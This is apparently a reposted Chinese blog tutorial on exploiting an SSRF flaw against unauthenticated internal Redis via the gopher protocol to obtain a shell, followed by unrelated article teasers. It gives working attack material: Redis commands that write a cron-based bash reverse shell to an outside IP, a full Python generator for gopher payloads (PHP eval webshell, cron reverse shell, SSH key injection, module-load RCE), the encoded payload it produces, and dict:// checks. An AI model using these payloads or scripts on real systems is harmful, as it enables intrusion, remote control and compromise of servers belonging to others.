SSRF+Redis未授权getshell

SSRF+Redis未授权getshell

1.前言

当一个网站具有ssrf漏洞,如果没有一些过滤措施,比如没过滤file协议,gophere协议,dict等协议,就会导致无法访问的内网服务器信息泄露,甚至可以让攻击者拿下内网服务器权限

2.文章主要内容

这里就不讲file协议去获取内网服务器的信息了,也不讲dict协议原理,这些直接百度了解即可,直接就介绍如何利用gopher协议通过SSRF和Redis未授权进行getshell

3.条件

  1. 目标内网机器出网
  2. redis可以未授权访问(或者具有redis密码)。

4.思路

如果想getshell,无非就是让目标主机反弹连接到我们的服务器,那么就需要借助目标主机的定时任务了,由于目标主机具有redis未授权访问漏洞,并且redis有这样一个特性,就是可以将数据快照信息覆盖到服务器的目录中,如果你直接可以通过redis客户端连接目标的redis执行命令,那么实现反弹shell的具体的操作命令如下:

set lucy "\n\n*/1 * * * * bash -i >& /dev/tcp/154.90.63.50/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

但是,由于目标在内网,我们通过redis客户端肯定是访问不到的,所以就必须借组具有ssrf漏洞的web服务器,将web服务器作为跳板,让他帮我们操作内网的redis即可。

那么,如何才能让web服务器帮我们在内网中去执行我们上面的具体操作命令呢,如果不是通过redis客户端操作,肯定不能用上面这么简单的命令了,因为我们让web服务器帮我们发送payload的时候使用的是tcp协议,然而真正内网主机中reedis执行的命令协议比较复杂,有一定的规则,因此我们要将我们的payload转换一下格式,借组gopher协议发送payload

5.payload转gopher协议

这里就要用到github上一个大佬的工具了

https://github.com/xmsec/redis-ssrf,其中我们只需要使用ssrf-redis.py文件即可,对其中的内容进行稍微修改然后运行就可以获得我们支持gopher协议的payload,下面我把大佬的ssrf-redis.py文件贴出来(我对一些地方进行了修改):

要修改的地方:

  1. 第140行的IP,要修改为你要攻击的内网IP
  2. 第141的port,修改为目标redis开放端口,默认是6379
  3. 第157行的mode改为1
  4. 第160行的passwd,如果对方redis有密码并且你必须知道,就需要设置为目标的redis密码
  5. 第112行,需要修改定时任务文件名,一般为root
  6. 第113行,要修改定时任务文件所在目录,一般为/var/spool/cron/,当然有的机器的目录会不一样,可以百度搜索常见目录
  7. 第114行,就是定时任务的反弹shell了,根据你的监听服务器,监听端口进行修改即可,这个定时任务是每分钟一次
#!/usr/local/bin python
#coding=utf8

try:
    from urllib import quote
except:
    from urllib.parse import quote

def generate_info(passwd):
    
    cmd=[
        "info",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def generate_shell(filename,path,passwd,payload):
    
    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def generate_reverse(filename,path,passwd,payload): # centos

    cmd=["flushall",
        "set lucy {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
    
def generate_sshkey(filename,path,passwd,payload):

    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
    
def generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):

    exp_filename="exp.so"
    cmd=[
        "SLAVEOF {} {}".format(lhost,lport),
        "CONFIG SET dir /tmp/",
        "config set dbfilename {}".format(exp_filename),
        "MODULE LOAD /tmp/{}".format(exp_filename),
        "system.exec {}".format(command.replace(" ","${IFS}")),
        # "SLAVEOF NO ONE",
        # "CONFIG SET dbfilename dump.rdb",
        # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        # "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def rce_cleanup():
    exp_filename="exp.so"
    cmd=[
        "SLAVEOF NO ONE",
        "CONFIG SET dbfilename dump.rdb",
        "system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),
        "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x)))+CRLF+x
    cmd+=CRLF
    return cmd

def generate_payload(passwd,mode):

    payload="test"

    if mode ==0:
        filename="shell.php"
        path="/var/www/html"
        shell="\n\n<?=eval($_GET[0]);?>\n\n"

        cmd=generate_shell(filename,path,passwd,shell)

    elif mode==1: 
        filename="root"
        path="/var/spool/cron/"
        shell="\n\n*/1 * * * * bash -i >& /dev/tcp/154.66.63.60/2333 0>&1\n\n"

        cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^"))

    elif mode==2:
        filename="authorized_keys"
        path="/root/.ssh/"
        pubkey="\n\nssh-rsa "

        cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^"))
        
    elif mode==3:
        lhost="192.168.1.100"
        lport="6666"
        command="whoami"

        cmd=generate_rce(lhost,lport,passwd,command)

    elif mode==31:
        cmd=rce_cleanup()

    elif mode==4:
        cmd=generate_info(passwd)

    protocol="gopher://"

    ip="172.18.240.7"
    port="6379"

    payload=protocol+ip+":"+port+"/_"

    for x in cmd:
        payload += quote(redis_format(x).replace("^"," "))
    return payload

    

if __name__=="__main__":   

    # 0 for webshell ; 1 for re shell ; 2 for ssh key ; 
    # 3 for redis rce ; 31 for rce clean up
    # 4 for info
    # suggest cleaning up when mode 3 used
    mode=1

    # input auth passwd or leave blank for no pw
    passwd = '' 

    p=generate_payload(passwd,mode)
    print(p)

6.运行协议格式转换脚本

在根据你的目标,修改上面的脚本之后,运行脚本

python ssrf-redis.py

运行结果如下:

gopher://172.18.240.7:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Alucy%0D%0A%2458%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/154.66.63.60/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

这个结果就是我们最终的设置定时任务的反弹shell的payload,将这个payload放到具有ssrf漏洞的功能点发起请求即可。

如图,就是我们使用payload之后的回显结果,都是OK,说明所有命令执行成功,不放心的话可以继续下一步进行校验执行结果。

在这里插入图片描述

7.检查执行结果(自信的话可跳过此步骤)

为了确定我们的payload是否成功写入内网,可以利用dict协议进行检查,使用以下命令可以看内网主机的redis的key有哪些

dict://172.18.240.7:6379/keys *

如图所示,发现就有我们刚刚的python脚本中设置payload的lucy这个key

在这里插入图片描述

然后我们再利用dict协议,用以下命令去看看lucy对应的value

dict://172.18.240.7:6379/get lucy

如图所示,发现我们的反弹shell的定时任务成功写入

在这里插入图片描述

8.环境复现

上面的图中的靶场是某公司的面试题,我这里没有靶场环境,这个文章旨在提供思路,如果想复现类似的环境,可以参考下面的文章,这个文章就有环境搭建,不过不是我这篇文章的环境:

SSRF——手把手教你Redis反弹Shell_ssrf redis-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/554230.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

pixhawk控制板的ArduPilot固件编译

0. 环境 - ubuntu18&#xff08;依赖python2和pip&#xff0c;建议直接ubuntu18不用最新的&#xff09; - pixhawk 2.4.8 - pixhawk 4 1. 获取源码 # 安装git sudo apt install git # 获取源码 cd ~/work git clone --recurse-submodules https://github.com/ArduPilot/a…

腾讯AI Lab:“自我对抗”提升大模型的推理能力

本文介绍了一种名为“对抗性禁忌”&#xff08;Adversarial Taboo&#xff09;的双人对抗语言游戏&#xff0c;用于通过自我对弈提升大型语言模型的推理能力。 &#x1f449; 具体的流程 1️⃣ 游戏设计&#xff1a;在这个游戏中&#xff0c;有两个角色&#xff1a;攻击者和防守…

VsCode调试远程服务器上面的Docker容器

第一步 VsCode 连接ssh 下载安装VsCode(Visual Studio Code)&#xff0c;首次安装会提示你安装Chinese(Simplified)中文简体&#xff0c;安装完后重新打开就是汉化界面了。在左边侧边栏找到扩展选项&#xff0c;然后安装Remote Development插件&#xff0c;里面包含了Remote S…

糖尿病可能是一团虚火,肝肾同源,肝阴不足。

其实对于很多的糖尿病患者来说&#xff0c;他的问题本质可能是一团虚火&#xff0c;就拿前段时间我的门诊一个患者为例&#xff0c;之前患有高血压&#xff0c;总是眩晕烦躁&#xff0c;常常失眠&#xff0c;大概近四个月出现多饮、多尿怎么喝水也不解渴&#xff0c;经过检查确…

每日一题---OJ题: 链表的回文结构

片头 嗨! 小伙伴们,大家好! 今天我们来一起学习这道OJ题--- 链表的回文结构 嗯...这道题好像不是很难,我们来分析分析 举个例子: 我们可以看到,上图中的两个链表都是回文结构: 即链表的回文结构是指一个链表中的结点值从前往后读和从后往前读都是一样的结构。也就是说&#xf…

春秋云境:CVE-2022-32991[漏洞复现]

从CVE官网查询该漏洞相关信息 该漏洞是由于welcome.php中的eid参数包含了SQL注入漏洞 则我们的目标就在于寻找welcome.php地址以及相关的可注入eid参数 开启靶机 先在页面正常注册、登录一个账号。密码随便填 进入了home目录&#xff0c;这里有三个话题可以选择开启 随便选…

word批量修改表格样式

利用宏&#xff0c;批量选中表格&#xff0c;然后利用段落和表设计来操作。 利用宏&#xff0c;批量选中表格&#xff0c;参考百度安全验证段落&#xff0c;表格里面的内容有空格&#xff0c;应该是有缩进&#xff0c;在段落中去掉缩进&#xff0c;即缩进-特殊&#xff0c;选择…

Next.js 14 App Router引入 farmer-motion 初始化异常解决,顺带学点知识

前言 farmer-motion 是一个非常好用的动画库&#xff0c;当然用来做组件切换和路由切换过渡更不在话下。 记录一下&#xff0c;Next.js 14 App Router 下引入初始化异常的解决姿势&#xff0c;顺带扯一下 next.js 的知识点&#xff1b; 问题 过渡组件代码 我们拿 farmer-m…

https证书是什么,怎么申请

https证书的名称有很多&#xff0c;其本名是SSL/TLS数字证书&#xff0c;本意是实现https访问的证书&#xff0c;故而很多人会称之为https证书&#xff0c;又因为其需要部署于域名服务器之上&#xff0c;所以也有人称之为域名证书。 所以https证书又名SSL证书、域名证书等。 h…

SPN的相关利用(上)

什么是SPN 服务主体名称(SPN)是服务实例&#xff0c;可以理解为一个服务&#xff0c;比如mssql,http等等的唯一标识符。如果在整个林或域中的计算机上安装多个服务实例&#xff0c;则每个实例都必须具有自己的 SPN&#xff0c;Kerberos 身份验证使用 SPN 将服务实例与服务登录…

深入理解 pytest Fixture 方法及其应用

当涉及到编写自动化测试时&#xff0c;测试框架和工具的选择对于测试用例的设计和执行非常重要。在Python 中&#xff0c;pytest是一种广泛使用的测试框架&#xff0c;它提供了丰富的功能和灵活的扩展性。其中一个很有用的功 能是fixture方法&#xff0c;它允许我们初始化测试环…

Eland上传bge-large-zh-v1.5向量化模型到ElasticSearch中

最近需要做一些向量检索&#xff0c;试试ES 一、准备 系统&#xff1a;MacOS 14.3.1 ElasticSearch&#xff1a;8.13.2 Kibana&#xff1a;8.13.2 本地单机环境&#xff0c;无集群&#xff0c;也不基于Docker BGE是一个常见的文本转向量的模型&#xff0c;在很多大模型RAG应…

Objective-C网络数据捕获:使用MWFeedParser库下载Stack Overflow示例

概述 Objective-C开发中&#xff0c;网络数据捕获是一项常见而关键的任务&#xff0c;特别是在处理像RSS源这样的实时网络数据流时。MWFeedParser库作为一个优秀的解析工具&#xff0c;提供了简洁而强大的解决方案。本文将深入介绍如何利用MWFeedParser库&#xff0c;以高效、…

【Linux系统编程】第五弹---基本指令(三)

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】 目录 1、grep指令 2、zip/unzip指令 3、tar指令 4、bc指令 5、uname指令 6、重要的几个热键 7、拓展指令 总结 1、grep指令 …

HTML学习笔记:链接target属性

关于target的使用&#xff1a; <a href"https://www.baidu.com" target"_parent">网址链接</a>其中关于target四个特殊目标的理解&#xff0c;W3school上的解释为&#xff1a; HTML 标签的 target 属性 其中_black和_self两个属性很好理解&…

谷粒商城part2——环境篇

这里是过来人的学习建议&#xff1a; 1、如有条件电脑内存至少16G起步&#xff0c;条件进一步加个屏幕&#xff0c;条件更进一步租一台至少4G内存的X86架构云服务器&#xff0c;所有部署的东西全扔云服务器上 2、P16&#xff0c;P17没法搭起来的建议照着rerenfast的github上的教…

一文了解OCI标准、runC、docker、contianerd、CRI的关系

docker和contanerd都是流行的容器运行时&#xff08;container runtime&#xff09;&#xff1b;想讲清楚他们两之间的关系&#xff0c;让我们先从runC和OCI规范说起。 一、OCI标准和runC 1、OCI&#xff08;open container initiative&#xff09; OCI是容器标准化组织为了…

数字化实践案例丨捷安高科项目管理系统打造项目与业务双联动

30秒快读 为了解决郑州捷安高科股份有限公司&#xff08;简称&#xff1a;捷安高科&#xff09;公司规模化和业务扩展进程中带来的系列管理痛点&#xff0c;如项目的成本收益不透明、跨部门协调困难、人力资源配置和投入产出不清晰等&#xff0c;捷安高科启动了项目管理系统建设…

【Pytorch】Conv1d

conv1d 先看看官方文档 再来个简单的例子 import torch import numpy as np import torch.nn as nndata np.arange(1, 13).reshape([1, 4, 3]) data torch.tensor(data, dtypetorch.float) print("[data]:\n", data) conv nn.Conv1d(in_channels4, out_channels1…

常见面试算法题-数组二叉数

■ 题目描述 【数组二叉树】 二叉树也可以用数组来存储&#xff0c;给定一个数组&#xff0c;树的根节点的值存储在下标1&#xff0c;对于存储在下标N的节点&#xff0c;它的左子节点和右子节点分别存储在下标2*N和2*N1&#xff0c;并且我们用值-1代表一个节点为空。 给定一…